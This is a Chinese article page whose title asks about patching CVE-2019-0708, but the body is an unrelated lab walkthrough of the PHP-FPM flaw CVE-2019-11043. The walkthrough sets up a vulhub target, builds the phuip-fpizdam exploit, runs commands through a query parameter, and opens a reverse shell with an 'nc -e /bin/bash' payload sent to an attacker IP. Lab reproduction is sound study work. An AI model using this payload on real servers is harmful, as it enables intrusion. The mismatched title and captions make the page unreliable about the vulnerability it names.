当前位置:首页 > 每日看点 > 正文内容

求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?

卡卷网1年前 (2024-11-30)每日看点255

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }

攻击者可以使用换行符(%0a)来破坏 fastcgi_split_path_info 指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

PHP 7.0 版本 PHP 7.1 版本 PHP 7.2 版本 PHP 7.3 版本

漏洞复现

使用 p 牛的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

准备工作:安装docker、golang环境

sudo apt-get install docker docker-compose sudo apt install golang

攻击机:kali-linux-2022.4(192.168.81.162)

靶机:kali-linux-2022.4(192.168.81.150)

1.在靶机上搭建漏洞环境

git clone https://github.com/vulhub/vulhub.git


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第1张


cd vulhub/php/CVE-2019-11043 docker-compose up -d


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第2张


2.启动环境后,访问 靶机ip:8080/index.php ,就可以看到漏洞环境的默认页面。


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第3张


3.安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git cd phuip-fpizdam go get -v && go build


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第4张


4.漏洞利用


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第5张


5.访问 index.php?a=id

注意:只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第6张



求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第7张


反弹shell

在环境中安装 nc


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第8张



求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第9张


攻击机开启监听

nc -lvp 9999


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第10张


输入payload

?a=nc -e /bin/bash 192.168.81.162 9999

反弹shell成功


求教 CVE-2019-0708远程桌面服务远程执行代码漏洞安装补丁后还可以远程桌面吗?  第11张


参考链接

blog.leanote.com/post/s

扫描二维码推送至手机访问。

版权声明:本文由卡卷网发布,如需转载请注明出处。

本文链接:https://www.kajuan.net/ttnews/2024/11/2257.html

分享给朋友:

相关文章

AI普及:让人类更聪明还是更愚蠢?

AI普及:让人类更聪明还是更愚蠢?

人工智能真的会替代人类吗?如果你询问人工智能这个问题,它通常会用“情感模块”作为标准答案来回复你——人工智能因为缺失情感模块,所以暂时无法替代人类的情感、创造力和想象力。是否这意味着,人工智能一旦拥有了情感模块,就会超越正态曲线最中段的大部...

为什么这次 Mac mini 的 M4 版本价格这么低?

为什么这次 Mac mini 的 M4 版本价格这么低?

扫了一眼这里的回答,目测没几个人真买过 Macbook、Mac mini且真正当主力工作机用过。这个初始(丐版)版本的机器实际谈不上多便宜,备受热捧有几个原因。它这代产品整体做了重新设计,大幅缩减了尺寸,真正称得上 Mini 了。对比前代,...

鸿蒙到底是不是安卓套壳?

鸿蒙到底是不是安卓套壳?

把它是不是套壳先放在一边吧。我讲一个事情,大家自己判断。华为有一个应用,叫手机管家。这个手机管家对一些系统底层设置有影响:比如华为从 EMUI 9 开始不允许将第三方启动器设置为默认启动器,依靠的就是这个手机管家。为什么这么说呢?在网上搜索...

是不是从Java培训班出来的人都被淘汰了?

真实个人经历。我就是从培训班出来的,但没有学完就跑出来了。当我明白什么人不管什么基础都能进培训班进行培训,学到什么程度都能保证他们包就业,我就知道不正常。我自己是大三下的时候去的,考研考到一半感觉无望,想抓紧时间学习技术,利用应届生身份准备...

本专业是电气的,请问入门plc 必须要从电工接线开始吗,我怕被公司骗了,想请教各位?

本专业是电气的,请问入门plc 必须要从电工接线开始吗,我怕被公司骗了,想请教各位?

开关接线图PART 01一开单控开关接线图二三开连体单控开关接线图四开连体单控开关接线图一开五孔单控插座接线图二开五孔单控插座接线图一开双控开关接线图二三开单控开关接线图四开单控开关接线图一开五孔单控插座接线图二三开双控开关接线图一开多控开...

为什么程序员们愿意在GitHub上开源自己的成果给别人免费使用和学习?

开源可以垄断。人类最高的权力不是什么国家而是意识形态,能够控制别人的思维方式。你把你的东西开源出来了,其他人就会懒于思考,在这一个思考上使用你的方式。比如容器编排,经过了K8s后谁还会去开发那些奇奇怪怪的编排手段,直接用不就行了。形成了生态...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。